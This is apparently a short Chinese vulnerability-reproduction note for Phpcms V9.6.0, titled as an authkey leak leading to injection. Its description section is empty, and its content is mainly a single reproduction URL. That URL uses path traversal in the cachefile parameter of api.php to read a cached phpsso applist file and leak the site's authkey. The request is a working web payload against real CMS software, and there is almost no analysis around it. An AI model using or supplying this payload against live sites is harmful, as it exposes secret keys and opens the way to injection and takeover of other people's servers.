Phpcms V9.6.0 authkey泄露导致注入.md

373 B / 2021-07-15 20:00:20

    Phpcms V9.6.0 authkey泄露导致注入
=================================

一、漏洞简介
------------

二、漏洞影响
------------

Phpcms V9.6.0

三、复现过程
------------

    http://www.0-sec.org/api.php?op=get_menu&act=ajax_getlist&callback=aaaaa&parentid=0&key=authkey&cachefile=..\..\..\phpsso_server\caches\caches_admin\caches_data\applist&path=admin